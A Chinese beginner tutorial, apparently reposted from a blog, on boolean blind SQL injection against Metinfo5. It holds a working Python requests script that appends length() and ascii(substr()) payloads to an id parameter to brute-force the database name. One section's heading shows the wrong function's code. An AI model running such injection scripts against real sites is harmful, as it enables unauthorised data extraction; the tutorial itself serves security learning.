EXP-sql布偶型盲注 保姆级教程新手向(Metinfo5)

Posted 水番正文

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了EXP-sql布偶型盲注 保姆级教程新手向(Metinfo5)相关的知识,希望对你有一定的参考价值。

题目原型:Metinfo5

引用库:requests

跑脚本是个很快的事情,分析EXP原理才是要干的事。

新手入门,敬请斧正。

--大部分思路转载自胡洋老师的教学

一:简单认识 requests库

首先简单认识一下这个库

import requests
url = "http://your-ip/exp/index.php"

headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0"}  
#添加头部信息

params = {"name":"PoZeep","pass":"123456"} 
 #添加参数信息
 
res = requests.get(url = url,headers = headers,params = params)
#以get方法传参

#print(res.headers)  		#以字典的形式获取到响应头
#print(res.request.headers)  	#获取到请求头,像agent注入类似就会用到这个
print(res.text)  			#获取页面信息,可以获取页面返回信息判断自己的注入

二:EXP解析

主函数

注意的点:

1、url:填写要跑的页面url

2、headers:这边是伪装头部信息 要不然浏览器就会知道你是拿python跑的

if __name__ == "__main__":
    url = "http://met5.co/about/show.php?lang=cn&id=22"	#这边的url已经添加可以注入的参数
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/92.0.4515.131 Safari/537.36"
    }
    # print(get_html())
    # print(get_databaseNL())
    get_databaseName()

模块一:get_html()

def get_databaseNL():
    "我的作用获取数据库名字长度"
    for num in range(1,5):					#原先看过数据库知道数据库长度为4
        num_getinfo = " and length(database())=%s" % num	#设置变量     
        num_fullurl = url + num_getinfo			#与主函数已经填写好id的url合并
        if get_html(num_fullurl):				#调用模块一判断返回的页面信息是否正确
            break
    return num

模块二:get_databaseNL()

def get_databaseNL():
    "我的作用获取数据库名字长度"
    for num in range(1,5):					#原先看过数据库知道数据库长度为4
        num_getinfo = " and length(database())=%s" % num	#设置变量     
        num_fullurl = url + num_getinfo			#与主函数已经填写好id的url合并
        if get_html(num_fullurl):				#调用模块一判断返回的页面信息是否正确
            break
    return num

模块三:get_databaseNmae()

def get_databaseName():
    "我的作用是获取数据库名"
    for i in range(1,5):
        for j in range(48,123):
            name_getinfo = " and ascii(substr(database(),%s,1))=%s --+" % (i,j)	
            #已知数据库长度 循环调用每个字符进行穷举
            name_fullurl = url + name_getinfo
            if get_html(name_fullurl):			#调用模块一查看返回页面信息是否正确
                print(chr(j))
                break

EXP!

import requests


def get_html(url):
    "我的功能判断页面内容是否包含关键字,来判断传递参数是否为条件成立"
    res = requests.get(url=url, headers=headers)      #发送参数,获取页面信息存到res
    if "888888" in res.text:            #注意只要填写正确返回的页面中的数据
        return True
    else:
        return False


def get_databaseNL():
    "我的作用获取数据库名字长度"
    for num in range(1,5):             #原先看过数据库知道数据库长度为4
        num_getinfo = " and length(database())=%s" % num   #设置变量
        num_fullurl = url + num_getinfo          #与主函数已经填写好id的url合并
        if get_html(num_fullurl):           #调用模块一判断返回的页面信息是否正确
            break
    return num


def get_databaseName():
    "我的作用是获取数据库名"
    for i in range(1,5):
        for j in range(48,123):
            name_getinfo = " and ascii(substr(database(),%s,1))=%s --+" % (i,j)
            #已知数据库长度 循环调用每个字符进行穷举
            name_fullurl = url + name_getinfo
            if get_html(name_fullurl):       #调用模块一查看返回页面信息是否正确
                print(chr(j))
                break


if __name__ == "__main__":
    url = "http://met5.co/about/show.php?lang=cn&id=22"    #这边的url已经添加可以注入的参数
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36"
    }
    # print(get_html())
    # print(get_databaseNL())
    get_databaseName()

三:实战环节

1.

找到注入点

确定这是布偶型注入

2.

靠此跑出数据库长度

PS:

这边要写页面返回的信息

3.

确定数据库长度后,跑数据库

这样跑出就可以自由探索~

注意到CSDN注释有点糊,介意者如有需要可以参照笔记。

https://note.youdao.com/s/9evU0CPo

以上是关于EXP-sql布偶型盲注 保姆级教程新手向(Metinfo5)的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入之Boolean型盲注

python脚本学习一:测试布尔型盲注脚本

适合新手,初识前端必备保姆级教程(持续更新)

超详细图文保姆级教程:App开发新手入门

nnUNet保姆级使用教程!从环境配置到训练与推理(新手必看)

黑苹果小白向教程(保姆级)(文末红包抽奖)